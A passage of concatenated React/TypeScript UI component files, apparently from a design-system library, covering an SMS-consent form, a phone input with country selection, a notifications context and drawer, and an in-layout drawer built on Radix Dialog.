{\n            setSmsConsent(checked as boolean)\n            if (checked) setShowConsentError(false)\n          }}\n          error={showConsentError ? \"Please agree to SMS notifications to continue.\" : undefined}\n          disabled={isSubmitting}\n          label={smsCheckboxLabel}\n          description={\n            <>\n              {consentText}{' View our '}\n              <a\n                href={termsOfServiceUrl || '#'}\n                className=\"text-ods-accent underline\"\n                target=\"_blank\"\n                rel=\"noopener noreferrer\"\n                onClick={(e) => e.stopPropagation()}\n              >\n                Terms of Service\n              </a>\n              {' and '}\n              <a\n                href={privacyPolicyUrl || '#'}\n                className=\"text-ods-accent underline\"\n                target=\"_blank\"\n                rel=\"noopener noreferrer\"\n                onClick={(e) => e.stopPropagation()}\n              >\n                Privacy Policy\n              </a>\n              .\n            </>\n          }\n        />\n\n        {/* Submit Button — right-aligned */}\n        <Button\n          type=\"button\"\n          loading={isSubmitting}\n          disabled={isSubmitting}\n          leftIcon={<OpenFrameLogo />}\n          onClick={handleSubmit}\n          className=\"w-full md:w-auto\"\n        >\n          {isSuccess ? successLabel : submitLabel}\n        </Button>\n      </div>\n    </div>\n  )\n}\n","\"use client\"\n\nimport { Select, SelectContent, SelectGroup, SelectItem, SelectSeparator, SelectTrigger, SelectValue } from \"./select\"\nimport { Input } from \"./input\"\nimport type { CountryCode } from 'libphonenumber-js'\nimport { useCallback, useEffect, useMemo, useRef, useState } from 'react'\nimport { getCountryPhoneData, validatePhoneNumber, type CountryPhoneData } from '../../utils/country-phone-utils'\n\nexport interface PhoneInputProps {\n  value: string\n  countryCode: CountryCode\n  onPhoneChange: (phone: string) => void\n  onCountryChange: (country: CountryCode) => void\n  onValidationChange?: (isInvalid: boolean) => void\n  disabled?: boolean\n  placeholder?: string\n  onKeyDown?: (e: React.KeyboardEvent) => void\n}\n\nexport function PhoneInput({\n  value,\n  countryCode,\n  onPhoneChange,\n  onCountryChange,\n  onValidationChange,\n  disabled,\n  placeholder = \"Phone Number (optional)\",\n  onKeyDown,\n}: PhoneInputProps) {\n  const { priority, others } = useMemo(() => getCountryPhoneData(), [])\n  const selectedCountry = useMemo(\n    () => [...priority, ...others].find(c => c.code === countryCode),\n    [countryCode, priority, others]\n  )\n\n  const [isInvalid, setIsInvalid] = useState(false)\n  const debounceRef = useRef<ReturnType<typeof setTimeout>>(null)\n\n  const digitCount = useCallback((val: string) => val.replace(/[^0-9]/g, '').length, [])\n\n  const runValidation = useCallback((phone: string) => {\n    if (!phone || digitCount(phone) === 0) {\n      setIsInvalid(false)\n      onValidationChange?.(false)\n      return\n    }\n    const invalid = !validatePhoneNumber(phone, countryCode)\n    setIsInvalid(invalid)\n    onValidationChange?.(invalid)\n  }, [countryCode, digitCount, onValidationChange])\n\n  const debouncedValidation = useCallback((phone: string) => {\n    if (debounceRef.current) clearTimeout(debounceRef.current)\n    debounceRef.current = setTimeout(() => runValidation(phone), 300)\n  }, [runValidation])\n\n  useEffect(() => {\n    return () => { if (debounceRef.current) clearTimeout(debounceRef.current) }\n  }, [])\n\n  return (\n    <div className=\"flex gap-2 w-full min-w-0\">\n      <Select\n        value={countryCode}\n        onValueChange={(val) => {\n          onCountryChange(val as CountryCode)\n          if (value) {\n            debouncedValidation(value)\n          }\n        }}\n        disabled={disabled}\n      >\n        <SelectTrigger className=\"w-[130px] shrink-0\">\n          <SelectValue>\n            {selectedCountry && (\n              <span className=\"flex items-center gap-1.5\">\n                <span>{selectedCountry.flag}</span>\n                <span>{selectedCountry.dialCode}</span>\n              </span>\n            )}\n          </SelectValue>\n        </SelectTrigger>\n        <SelectContent className=\"max-h-[300px] !w-[280px]\">\n          <SelectGroup>\n            {priority.map((country) => (\n              <CountryOption key={country.code} country={country} />\n            ))}\n          </SelectGroup>\n          <SelectSeparator />\n          <SelectGroup>\n            {others.map((country) => (\n              <CountryOption key={country.code} country={country} />\n            ))}\n          </SelectGroup>\n        </SelectContent>\n      </Select>\n\n      <Input\n        type=\"tel\"\n        value={value}\n        onChange={(e) => {\n          const val = e.target.value\n          if (val === '' || /^[0-9\\-() ]*$/.test(val)) {\n            onPhoneChange(val)\n            if (digitCount(val) > 4) {\n              debouncedValidation(val)\n            } else if (digitCount(val) === 0) {\n              setIsInvalid(false)\n              onValidationChange?.(false)\n            }\n          }\n        }}\n        onBlur={() => runValidation(value)}\n        disabled={disabled}\n        placeholder={placeholder}\n        onKeyDown={onKeyDown}\n        className={`min-w-0 flex-1 ${isInvalid ? '!border-ods-warning' : ''}`}\n      />\n    </div>\n  )\n}\n\nfunction CountryOption({ country }: { country: CountryPhoneData }) {\n  return (\n    <SelectItem value={country.code} textValue={country.name}>\n      <span className=\"flex items-center gap-2\">\n        <span className=\"shrink-0\">{country.flag}</span>\n        <span className=\"shrink-0 text-ods-text-secondary\">{country.dialCode}</span>\n        <span className=\"overflow-hidden text-ellipsis whitespace-nowrap max-w-[140px] inline-block\">{country.name}</span>\n      </span>\n    </SelectItem>\n  )\n}\n","'use client'\n\nimport * as React from 'react'\nimport type { AddNotificationInput, Notification, RenderNotificationTile } from './types'\n\ninterface NotificationsContextValue {\n  notifications: Notification[]\n  unreadCount: number\n  isOpen: boolean\n  showPopups: boolean\n  addNotification: (input: AddNotificationInput) => string\n  upsertNotification: (input: AddNotificationInput & { id: string }) => string\n  setNotifications: (list: Notification[]) => void\n  markRead: (id: string) => void\n  markAllRead: () => void\n  markSettled: (id: string) => void\n  remove: (id: string) => void\n  clear: () => void\n  open: () => void\n  close: () => void\n  toggle: () => void\n  setShowPopups: (value: boolean) => void\n  /** OS-level notification preference; only meaningful when `desktopPopupsConfigured`. */\n  showDesktopPopups: boolean\n  setShowDesktopPopups: (value: boolean) => void\n  /** True when the host app wired desktop notifications (passed `onShowDesktopPopupsChange`). */\n  desktopPopupsConfigured: boolean\n  onHistoryClick?: () => void\n  /** Destination for the history button's \"open in a new tab\" split action. */\n  historyHref?: string\n  hasMore: boolean\n  isLoadingMore: boolean\n  loadMore?: () => void\n  renderTile?: RenderNotificationTile\n}\n\nconst NotificationsContext = React.createContext<NotificationsContextValue | null>(null)\n\nexport interface NotificationsActions {\n  /** Called after the local reducer marks an item read; persist server-side. */\n  onMarkRead?: (id: string) => void | Promise<void>\n  /** Called after the local reducer marks all read; persist server-side. */\n  onMarkAllRead?: () => void | Promise<void>\n  /** Called after the local reducer removes an item; persist server-side. */\n  onRemove?: (id: string) => void | Promise<void>\n  /** Called after the local reducer marks an item settled; optional persistence. */\n  onMarkSettled?: (id: string) => void | Promise<void>\n}\n\nexport interface NotificationsProviderProps {\n  children: React.ReactNode\n  initialNotifications?: Notification[]\n  maxNotifications?: number\n  defaultShowPopups?: boolean\n  onShowPopupsChange?: (value: boolean) => void\n  /** Desktop (OS-level) notification preference; providing `onShowDesktopPopupsChange` opts into the drawer toggle. */\n  defaultShowDesktopPopups?: boolean\n  onShowDesktopPopupsChange?: (value: boolean) => void\n  onHistoryClick?: () => void\n  /** Destination for the history button's \"open in a new tab\" split action. */\n  historyHref?: string\n  actions?: NotificationsActions\n  /** Pagination — when omitted, the drawer hides its load-more sentinel. */\n  hasMore?: boolean\n  isLoadingMore?: boolean\n  onLoadMore?: () => void\n  /** Override how individual tiles render (drawer + popups); falls back to `NotificationTile`. */\n  renderTile?: RenderNotificationTile\n}\n\ntype Action =\n  | { type: 'add'; notification: Notification; max: number }\n  | { type: 'upsert'; notification: Notification; max: number }\n  | { type: 'set'; notifications: Notification[] }\n  | { type: 'markRead'; id: string }\n  | { type: 'markAllRead' }\n  | { type: 'markSettled'; id: string }\n  | { type: 'remove'; id: string }\n  | { type: 'clear' }\n\nfunction mergeNotification(base: Notification, incoming: Notification): Notification {\n  const out: Notification = { ...base }\n  for (const key of Object.keys(incoming) as (keyof Notification)[]) {\n    const value = incoming[key]\n    if (value !== undefined) (out as unknown as Record<string, unknown>)[key] = value\n  }\n\n  out.read = (incoming.read ?? false) || (base.read ?? false) || false\n  out.settled = (incoming.settled ?? false) || (base.settled ?? false) || false\n  return out\n}\n\nfunction reducer(state: Notification[], action: Action): Notification[] {\n  switch (action.type) {\n    case 'add': {\n      const existing = state.find((n) => n.id === action.notification.id)\n      if (existing) {\n        const merged = mergeNotification(existing, action.notification)\n        return [merged, ...state.filter((n) => n.id !== action.notification.id)]\n      }\n      const next = [action.notification, ...state]\n      return next.length > action.max ? next.slice(0, action.max) : next\n    }\n    case 'upsert': {\n      const existing = state.find((n) => n.id === action.notification.id)\n      if (existing) {\n        const merged = mergeNotification(existing, action.notification)\n        return state.map((n) => (n.id === action.notification.id ? merged : n))\n      }\n      const next = [action.notification, ...state]\n      return next.length > action.max ? next.slice(0, action.max) : next\n    }\n    case 'set': {\n      const existingById = new Map(state.map((n) => [n.id, n]))\n      return action.notifications.map((incoming) => {\n        const existing = existingById.get(incoming.id)\n        if (!existing) return incoming\n        return {\n          ...incoming,\n          read: incoming.read || existing.read,\n          settled: incoming.settled || existing.settled,\n        }\n      })\n    }\n    case 'markRead':\n      return state.map((n) => (n.id === action.id ? { ...n, read: true } : n))\n    case 'markAllRead':\n      return state.map((n) => (n.read ? n : { ...n, read: true }))\n    case 'markSettled':\n      return state.map((n) => (n.id === action.id && !n.settled ? { ...n, settled: true } : n))\n    case 'remove':\n      return state.filter((n) => n.id !== action.id)\n    case 'clear':\n      return []\n    default:\n      return state\n  }\n}\n\nfunction generateId() {\n  if (typeof crypto !== 'undefined' && typeof crypto.randomUUID === 'function') {\n    return crypto.randomUUID()\n  }\n  return `n_${Date.now().toString(36)}_${Math.random().toString(36).slice(2, 10)}`\n}\n\nexport function NotificationsProvider({\n  children,\n  initialNotifications = [],\n  maxNotifications = 50,\n  defaultShowPopups = true,\n  onShowPopupsChange,\n  defaultShowDesktopPopups = false,\n  onShowDesktopPopupsChange,\n  onHistoryClick,\n  historyHref,\n  actions,\n  hasMore = false,\n  isLoadingMore = false,\n  onLoadMore,\n  renderTile,\n}: NotificationsProviderProps) {\n  const [notifications, dispatch] = React.useReducer(reducer, initialNotifications)\n  const [isOpen, setIsOpen] = React.useState(false)\n  const [showPopups, setShowPopupsState] = React.useState(defaultShowPopups)\n  const [showDesktopPopups, setShowDesktopPopupsState] = React.useState(defaultShowDesktopPopups)\n  const desktopPopupsConfigured = onShowDesktopPopupsChange !== undefined\n\n  const actionsRef = React.useRef(actions)\n  React.useEffect(() => {\n    actionsRef.current = actions\n  }, [actions])\n\n  const addNotification = React.useCallback(\n    (input: AddNotificationInput) => {\n      const id = input.id ?? generateId()\n      const notification: Notification = {\n        ...input,\n        id,\n        createdAt: input.createdAt ?? Date.now(),\n        read: input.read ?? false,\n      }\n      dispatch({ type: 'add', notification, max: maxNotifications })\n      return id\n    },\n    [maxNotifications],\n  )\n\n  const upsertNotification = React.useCallback(\n    (input: AddNotificationInput & { id: string }) => {\n      const notification: Notification = {\n        ...input,\n        id: input.id,\n        createdAt: input.createdAt ?? Date.now(),\n        read: input.read ?? false,\n      }\n      dispatch({ type: 'upsert', notification, max: maxNotifications })\n      return input.id\n    },\n    [maxNotifications],\n  )\n\n  const setNotifications = React.useCallback((list: Notification[]) => {\n    dispatch({ type: 'set', notifications: list })\n  }, [])\n\n  const markRead = React.useCallback((id: string) => {\n    dispatch({ type: 'markRead', id })\n    void actionsRef.current?.onMarkRead?.(id)\n  }, [])\n\n  const markAllRead = React.useCallback(() => {\n    dispatch({ type: 'markAllRead' })\n    void actionsRef.current?.onMarkAllRead?.()\n  }, [])\n\n  const markSettled = React.useCallback((id: string) => {\n    dispatch({ type: 'markSettled', id })\n    void actionsRef.current?.onMarkSettled?.(id)\n  }, [])\n\n  const remove = React.useCallback((id: string) => {\n    dispatch({ type: 'remove', id })\n    void actionsRef.current?.onRemove?.(id)\n  }, [])\n\n  const clear = React.useCallback(() => dispatch({ type: 'clear' }), [])\n\n  const open = React.useCallback(() => setIsOpen(true), [])\n  const close = React.useCallback(() => setIsOpen(false), [])\n  const toggle = React.useCallback(() => setIsOpen((v) => !v), [])\n\n  const setShowPopups = React.useCallback(\n    (value: boolean) => {\n      setShowPopupsState(value)\n      onShowPopupsChange?.(value)\n    },\n    [onShowPopupsChange],\n  )\n\n  const setShowDesktopPopups = React.useCallback(\n    (value: boolean) => {\n      setShowDesktopPopupsState(value)\n      onShowDesktopPopupsChange?.(value)\n    },\n    [onShowDesktopPopupsChange],\n  )\n\n  const unreadCount = React.useMemo(\n    () => notifications.reduce((acc, n) => (n.read ? acc : acc + 1), 0),\n    [notifications],\n  )\n\n  const value = React.useMemo<NotificationsContextValue>(\n    () => ({\n      notifications,\n      unreadCount,\n      isOpen,\n      showPopups,\n      addNotification,\n      upsertNotification,\n      setNotifications,\n      markRead,\n      markAllRead,\n      markSettled,\n      remove,\n      clear,\n      open,\n      close,\n      toggle,\n      setShowPopups,\n      showDesktopPopups,\n      setShowDesktopPopups,\n      desktopPopupsConfigured,\n      onHistoryClick,\n      historyHref,\n      hasMore,\n      isLoadingMore,\n      loadMore: onLoadMore,\n      renderTile,\n    }),\n    [\n      notifications,\n      unreadCount,\n      isOpen,\n      showPopups,\n      showDesktopPopups,\n      setShowDesktopPopups,\n      desktopPopupsConfigured,\n      addNotification,\n      upsertNotification,\n      setNotifications,\n      markRead,\n      markAllRead,\n      markSettled,\n      remove,\n      clear,\n      open,\n      close,\n      toggle,\n      setShowPopups,\n      onHistoryClick,\n      historyHref,\n      hasMore,\n      isLoadingMore,\n      onLoadMore,\n      renderTile,\n    ],\n  )\n\n  return <NotificationsContext.Provider value={value}>{children}</NotificationsContext.Provider>\n}\n\nexport function useNotifications(): NotificationsContextValue {\n  const ctx = React.useContext(NotificationsContext)\n  if (!ctx) {\n    throw new Error('useNotifications must be used inside <NotificationsProvider>')\n  }\n  return ctx\n}\n\nexport function useOptionalNotifications(): NotificationsContextValue | null {\n  return React.useContext(NotificationsContext)\n}\n","'use client'\n\nimport { useEffect, useRef } from 'react'\nimport { BellOffIcon } from '../../icons-v2-generated/interface/bell-off-icon'\nimport { ClockHistoryIcon, ArrowRightUpIcon } from '../../icons-v2-generated'\nimport { useAppLayoutDrawerContainer } from '../../navigation/app-layout-context'\nimport { AppLayoutDrawer, AppLayoutDrawerContent } from '../../navigation/app-layout-drawer'\nimport { SplitButton } from '../../ui/button'\nimport { Drawer, DrawerContent, DrawerTitle } from '../../ui/drawer'\nimport { Switch } from '../../ui/switch'\nimport { cn } from '../../../utils/cn'\nimport { useNotificationPermission } from '../../../hooks/ui'\nimport { useOptionalNotifications } from './notifications-context'\nimport { NotificationTile } from './notification-tile'\nimport type { Notification, RenderNotificationTile } from './types'\n\n\nexport interface NotificationDrawerProps {\n  className?: string\n  liveDurationMs?: number\n  loadMoreRootMargin?: string\n  renderTile?: RenderNotificationTile\n}\n\nexport function NotificationDrawer({\n  className,\n  liveDurationMs,\n  loadMoreRootMargin = '200px',\n  renderTile: renderTileProp,\n}: NotificationDrawerProps) {\n  const ctx = useOptionalNotifications()\n  // Inside AppLayout the drawer renders in-layout (dims and covers only the\n  // main content area — header and sidebar stay interactive). Outside of it\n  // (Storybook, non-AppLayout hosts) it falls back to the viewport Drawer.\n  const layoutContainer = useAppLayoutDrawerContainer()\n\n  if (!ctx) return null\n\n  const {\n    notifications,\n    unreadCount,\n    isOpen,\n    showPopups,\n    open,\n    close,\n    markRead,\n    markAllRead,\n    markSettled,\n    setShowPopups,\n    showDesktopPopups,\n    setShowDesktopPopups,\n    desktopPopupsConfigured,\n    onHistoryClick,\n    historyHref,\n    hasMore,\n    isLoadingMore,\n    loadMore,\n    renderTile: ctxRenderTile,\n  } = ctx\n\n  const renderTile = renderTileProp ?? ctxRenderTile\n\n  const unreadNotifications = notifications.filter((n) => !n.read)\n\n  const content = (\n    <>\n      <div className=\"px-[var(--spacing-system-m)] pt-[var(--spacing-system-m)]\">\n        <DrawerTitle\n          hideClose\n          className=\"truncate\"\n          actions={\n            <button\n              type=\"button\"\n              disabled={unreadCount === 0}\n              onClick={markAllRead}\n              className=\"self-center text-h6 text-ods-text-secondary underline transition-colors hover:text-ods-text-primary disabled:opacity-40 max-md:focus:outline-none max-md:focus-visible:outline-none\"\n            >\n              Mark All Complete\n            </button>\n          }\n        >\n          New Notifications\n        </DrawerTitle>\n      </div>\n\n      <DrawerScrollList\n        unreadNotifications={unreadNotifications}\n        liveDurationMs={liveDurationMs}\n        onComplete={markRead}\n        onSettle={markSettled}\n        hasMore={hasMore}\n        isLoadingMore={isLoadingMore}\n        loadMore={loadMore}\n        loadMoreRootMargin={loadMoreRootMargin}\n        renderTile={renderTile}\n      />\n\n      <div className=\"flex flex-col gap-[var(--spacing-system-xs)] px-[var(--spacing-system-m)] pb-[var(--spacing-system-m)]\">\n        <div className=\"overflow-hidden rounded-md border border-ods-border bg-ods-card\">\n          <ShowNotificationsToggleRow checked={showPopups} onChange={setShowPopups} />\n          {desktopPopupsConfigured && (\n            <DesktopNotificationsToggleRow checked={showDesktopPopups} onChange={setShowDesktopPopups} />\n          )}\n        </div>\n        <NotificationsHistoryButton\n          onClick={onHistoryClick ? () => { onHistoryClick(); close() } : undefined}\n          historyHref={historyHref}\n        />\n      </div>\n    </>\n  )\n\n  if (layoutContainer) {\n    return (\n      <AppLayoutDrawer open={isOpen} onOpenChange={(v) => (v ? open() : close())}>\n        <AppLayoutDrawerContent\n          side=\"right\"\n          aria-describedby={undefined}\n          // md matches the content's default mobileBreakpoint: below it the\n          // panel is forced full-bleed (w-full), so the fixed width must not\n          // apply there or the panel would detach from the right edge.\n          className={cn('md:w-[26rem] gap-[var(--spacing-system-m)] p-[var(--spacing-system-zero)]', className)}\n        >\n          {content}\n        </AppLayoutDrawerContent>\n      </AppLayoutDrawer>\n    )\n  }\n\n  return (\n    <Drawer open={isOpen} onOpenChange={(v) => (v ? open() : close())}>\n      <DrawerContent\n        side=\"right\"\n        aria-describedby={undefined}\n        offsetHeader\n        className={cn(\n          'w-[calc(100vw-2rem)] sm:w-[26rem] sm:max-w-[calc(100vw-2rem)] gap-[var(--spacing-system-m)] p-[var(--spacing-system-zero)]',\n          className,\n        )}\n      >\n        {content}\n      </DrawerContent>\n    </Drawer>\n  )\n}\n\ninterface DrawerScrollListProps {\n  unreadNotifications: Notification[]\n  liveDurationMs?: number\n  onComplete: (id: string) => void\n  onSettle: (id: string) => void\n  hasMore: boolean\n  isLoadingMore: boolean\n  loadMore?: () => void\n  loadMoreRootMargin: string\n  renderTile?: RenderNotificationTile\n}\n\nfunction DrawerScrollList({\n  unreadNotifications,\n  liveDurationMs,\n  onComplete,\n  onSettle,\n  hasMore,\n  isLoadingMore,\n  loadMore,\n  loadMoreRootMargin,\n  renderTile,\n}: DrawerScrollListProps) {\n  const scrollRef = useRef<HTMLDivElement>(null)\n  const sentinelRef = useRef<HTMLDivElement>(null)\n  const loadMoreRef = useRef(loadMore)\n  loadMoreRef.current = loadMore\n\n  useEffect(() => {\n    if (!loadMore || !hasMore || isLoadingMore) return\n    const sentinel = sentinelRef.current\n    const root = scrollRef.current\n    if (!sentinel || !root) return\n    const observer = new IntersectionObserver(\n      entries => {\n        if (entries[0]?.isIntersecting) loadMoreRef.current?.()\n      },\n      { root, rootMargin: loadMoreRootMargin },\n    )\n    observer.observe(sentinel)\n    return () => observer.disconnect()\n  }, [hasMore, isLoadingMore, loadMore, loadMoreRootMargin])\n\n  const isEmpty = unreadNotifications.length === 0\n  return (\n    <div\n      ref={scrollRef}\n      className=\"flex flex-1 flex-col gap-[var(--spacing-system-xs)] overflow-y-auto px-[var(--spacing-system-m)]\"\n    >\n      {isEmpty && !isLoadingMore ? (\n        <EmptyState />\n      ) : (\n        <>\n          {unreadNotifications.map((n) => {\n            const custom = renderTile?.(n, { onComplete, onSettle, liveDurationMs })\n            if (custom) return <div key={n.id}>{custom}</div>\n            return (\n              <NotificationTile\n                key={n.id}\n                notification={n}\n                liveDurationMs={liveDurationMs}\n                onComplete={onComplete}\n                onSettle={onSettle}\n              />\n            )\n          })}\n          {isLoadingMore && <DrawerLoadingTiles />}\n          {loadMore && hasMore && <div ref={sentinelRef} className=\"h-1\" aria-hidden=\"true\" />}\n        </>\n      )}\n    </div>\n  )\n}\n\nfunction DrawerLoadingTiles() {\n  return (\n    <>\n      <div\n        aria-hidden=\"true\"\n        className=\"h-16 w-full shrink-0 animate-pulse rounded-md border border-ods-border bg-ods-card\"\n      />\n      <div\n        aria-hidden=\"true\"\n        className=\"h-16 w-full shrink-0 animate-pulse rounded-md border border-ods-border bg-ods-card\"\n      />\n    </>\n  )\n}\n\nfunction EmptyState() {\n  return (\n    <div className=\"flex flex-1 flex-col items-center justify-center gap-[var(--spacing-system-xs)] py-[var(--spacing-system-l)]\">\n      <BellOffIcon size={24} className=\"text-ods-text-secondary\" />\n      <p className=\"text-h6 text-ods-text-secondary\">No new notifications</p>\n    </div>\n  )\n}\n\ninterface ToggleRowProps {\n  checked: boolean\n  onChange: (value: boolean) => void\n}\n\nfunction ShowNotificationsToggleRow({ checked, onChange }: ToggleRowProps) {\n  return (\n    <div className=\"flex items-center gap-[var(--spacing-system-s)] border-b border-ods-border p-[var(--spacing-system-sf)]\">\n      <Switch\n        checked={checked}\n        onCheckedChange={onChange}\n        aria-label=\"Show pop-up notifications\"\n      />\n      <div className=\"min-w-0 flex-1\">\n        <p className=\"text-h4 text-ods-text-primary\">Show Notifications</p>\n        <p className=\"text-h6 text-ods-text-secondary\">Show pop-up messages for new alerts</p>\n      </div>\n    </div>\n  )\n}\n\n/** Switching on prompts for browser permission and commits only when granted; denied renders disabled (can't re-prompt programmatically); unsupported (SSR, iOS Safari) hides the row. */\nfunction DesktopNotificationsToggleRow({ checked, onChange }: ToggleRowProps) {\n  const { supported, permission, request } = useNotificationPermission()\n  if (!supported) return null\n\n  const blocked = permission === 'denied'\n\n  const handleChange = async (value: boolean) => {\n    if (!value || permission === 'granted') {\n      onChange(value)\n      return\n    }\n    if ((await request()) === 'granted') onChange(true)\n  }\n\n  return (\n    <div className=\"flex items-center gap-[var(--spacing-system-s)] border-b border-ods-border p-[var(--spacing-system-sf)]\">\n      <Switch\n        checked={checked && permission === 'granted'}\n        disabled={blocked}\n        onCheckedChange={handleChange}\n        aria-label=\"Show desktop notifications\"\n      />\n      <div className=\"min-w-0 flex-1\">\n        <p className={cn('text-h4', blocked ? 'text-ods-text-secondary' : 'text-ods-text-primary')}>\n          Desktop Notifications\n        </p>\n        <p className=\"text-h6 text-ods-text-secondary\">\n          {blocked\n            ? 'Enable notifications in your browser settings'\n            : 'Notify when this tab is in the background'}\n        </p>\n      </div>\n    </div>\n  )\n}\n\ninterface HistoryButtonProps {\n  onClick?: () => void\n  historyHref?: string\n}\n\nfunction NotificationsHistoryButton({ onClick, historyHref }: HistoryButtonProps) {\n  return (\n    <SplitButton\n      variant=\"outline\"\n      fullWidth\n      onClick={onClick}\n      mainDisabled={!onClick}\n      leftIcon={<ClockHistoryIcon className=\"text-ods-text-secondary\" />}\n      groupAriaLabel=\"Notifications history\"\n      iconAction={{\n        icon: <ArrowRightUpIcon className=\"text-ods-text-secondary\" />,\n        'aria-label': 'Open notifications history in a new tab',\n        href: historyHref,\n        openInNewTab: true,\n        disabled: !historyHref,\n      }}\n    >\n      Notifications History\n    </SplitButton>\n  )\n}\n","'use client'\n\nimport { createContext, useContext } from 'react'\n\n/**\n * Container element that wraps `<main>` and serves as the portal target for\n * `AppLayoutDrawer`. Drawers rendered into this container sit on top of the\n * main content area only — the sidebar and header remain visible and\n * interactive. Null when AppLayout hasn't mounted (or when used outside of it).\n *\n * Lives in its own module (not app-layout.tsx) so in-layout panels\n * (AppLayoutDrawer, NotificationDrawer, TimeTrackerHeaderButton) can consume\n * these contexts without importing AppLayout itself — AppLayout renders those\n * panels, so importing it back would create a module cycle.\n */\nexport const AppLayoutDrawerContainerContext = createContext<HTMLElement | null>(null)\n\nexport function useAppLayoutDrawerContainer(): HTMLElement | null {\n  return useContext(AppLayoutDrawerContainerContext)\n}\n\n/**\n * Coordination between AppLayout's in-layout panels (`AppLayoutDrawer`, the\n * time-tracker popup) and the mobile burger menu. At most ONE of them may be\n * open at a time — each dims the main area, so stacking them reads as broken:\n *   - a panel that opens calls `notifyDrawerDidOpen(self)` so the layout\n *     closes the burger menu AND every other registered panel;\n *   - each panel registers a close handle so opening the menu via the burger\n *     button (or another panel) closes it. Null outside of AppLayout.\n */\nexport interface AppLayoutDrawerHandle {\n  close: () => void\n}\n\nexport interface AppLayoutDrawerCoordination {\n  /** `self` is skipped when closing the other registered panels. */\n  notifyDrawerDidOpen: (self?: AppLayoutDrawerHandle) => void\n  /** Returns an unregister cleanup. */\n  registerDrawer: (handle: AppLayoutDrawerHandle) => () => void\n}\n\nexport const AppLayoutDrawerCoordinationContext = createContext<AppLayoutDrawerCoordination | null>(null)\n\nexport function useAppLayoutDrawerCoordination(): AppLayoutDrawerCoordination | null {\n  return useContext(AppLayoutDrawerCoordinationContext)\n}\n","\"use client\"\n\nimport * as React from \"react\"\nimport * as DialogPrimitive from \"@radix-ui/react-dialog\"\nimport { cva, type VariantProps } from \"class-variance-authority\"\n\nimport { cn } from \"../../utils/cn\"\nimport {\n  DrawerBody,\n  DrawerDescription,\n  DrawerFooter,\n  DrawerHeader,\n  DrawerTitle,\n  OVERLAY_BACKDROP_CLASS,\n  type DrawerSide,\n} from \"../ui/drawer\"\nimport {\n  type AppLayoutDrawerHandle,\n  useAppLayoutDrawerContainer,\n  useAppLayoutDrawerCoordination,\n} from \"./app-layout-context\"\n\n/**\n * AppLayoutDrawer is a Drawer variant that renders **inside** AppLayout's main\n * content area instead of as a viewport-level overlay. Header and sidebar stay\n * visible and interactive while it is open.\n *\n * Implementation differs from the standard Drawer in three ways:\n *   1. `DialogPrimitive.Portal` targets the AppLayout container (provided via\n *      React Context) rather than `document.body`.\n *   2. Positioning is `absolute` (clipped to the container) instead of `fixed`.\n *   3. The Dialog is non-modal (`modal={false}`) — outside content is not\n *      inert, so header/sidebar interactions still work while the drawer is open.\n *\n * Caveat of non-modal mode: Radix's built-in `DialogPrimitive.Overlay` returns\n * null (see @radix-ui/react-dialog source). We render our own overlay div as a\n * sibling of `DialogPrimitive.Content` in the portal so it (a) provides the\n * standard dim backdrop and (b) catches pointer events over the main area —\n * otherwise clicks pass through to underlying buttons, causing a close-and-\n * reopen flicker when the click target is also a trigger.\n *\n * Everything else (visual chrome, slide animation, resize handle, sub-components)\n * matches the standard Drawer. Sub-components (header/title/body/footer) are\n * re-exported aliases of the originals so styling stays in lockstep.\n */\n\nconst DrawerOpenContext = React.createContext<boolean>(false)\n\ninterface AppLayoutDrawerRootProps\n  extends React.ComponentPropsWithoutRef<typeof DialogPrimitive.Root> {}\n\nconst AppLayoutDrawerRoot = ({\n  open: openProp,\n  defaultOpen,\n  onOpenChange,\n  modal = false,\n  children,\n  ...rest\n}: AppLayoutDrawerRootProps) => {\n  // Shadow Dialog.Root's open state so descendants (specifically the overlay\n  // rendered inside Content) can drive their own `data-state` for animations.\n  // Radix doesn't expose its internal open state via a public context.\n  const [internalOpen, setInternalOpen] = React.useState(defaultOpen ?? false)\n  const isControlled = openProp !== undefined\n  const open = isControlled ? (openProp as boolean) : internalOpen\n\n  const handleOpenChange = React.useCallback(\n    (next: boolean) => {\n      if (!isControlled) setInternalOpen(next)\n      onOpenChange?.(next)\n    },\n    [isControlled, onOpenChange],\n  )\n\n  // Coordinate with AppLayout's other in-layout panels and the mobile burger\n  // menu: opening this drawer closes them, and opening any of them closes\n  // this drawer via the registered close handle. Refs keep the handle\n  // identity stable across renders — the same object must be registered AND\n  // passed as `self` so the coordinator can skip it when closing the rest.\n  const coordination = useAppLayoutDrawerCoordination()\n  const openRef = React.useRef(open)\n  openRef.current = open\n  const handleOpenChangeRef = React.useRef(handleOpenChange)\n  handleOpenChangeRef.current = handleOpenChange\n  const selfHandleRef = React.useRef<AppLayoutDrawerHandle | null>(null)\n  if (!selfHandleRef.current) {\n    selfHandleRef.current = {\n      close: () => {\n        if (openRef.current) handleOpenChangeRef.current(false)\n      },\n    }\n  }\n\n  React.useEffect(() => {\n    if (open) coordination?.notifyDrawerDidOpen(selfHandleRef.current ?? undefined)\n  }, [open, coordination])\n\n  React.useEffect(() => {\n    if (!selfHandleRef.current) return\n    return coordination?.registerDrawer(selfHandleRef.current)\n  }, [coordination])\n\n  return (\n    <DrawerOpenContext.Provider value={open}>\n      <DialogPrimitive.Root\n        {...rest}\n        open={open}\n        onOpenChange={handleOpenChange}\n        modal={modal}\n      >\n        {children}\n      </DialogPrimitive.Root>\n    </DrawerOpenContext.Provider>\n  )\n}\nAppLayoutDrawerRoot.displayName = \"AppLayoutDrawer\"\n\nconst AppLayoutDrawerTrigger = DialogPrimitive.Trigger\nconst AppLayoutDrawerClose = DialogPrimitive.Close\n\n// z-[103] (overlay z-[102]) — above MobileBurgerMenu (backdrop z-[100],\n// panel z-[101]) so an in-layout drawer opened over the mobile menu is not\n// covered by it. The drawer is absolutely positioned inside the main-area\n// container, so header/sidebar are unaffected regardless of z.\nconst appLayoutDrawerVariants = cva(\n  \"absolute z-[103] flex outline-none focus:outline-none focus-visible:outline-none data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:duration-300 data-[state=open]:duration-300\",\n  {\n    variants: {\n      side: {\n        right:\n          \"inset-y-0 right-0 items-center data-[state=closed]:slide-out-to-right data-[state=open]:slide-in-from-right\",\n        left:\n          \"inset-y-0 left-0 items-center data-[state=closed]:slide-out-to-left data-[state=open]:slide-in-from-left\",\n        top:\n          \"inset-x-0 top-0 justify-center data-[state=closed]:slide-out-to-top data-[state=open]:slide-in-from-top\",\n        bottom:\n          \"inset-x-0 bottom-0 justify-center data-[state=closed]:slide-out-to-bottom data-[state=open]:slide-in-from-bottom\",\n      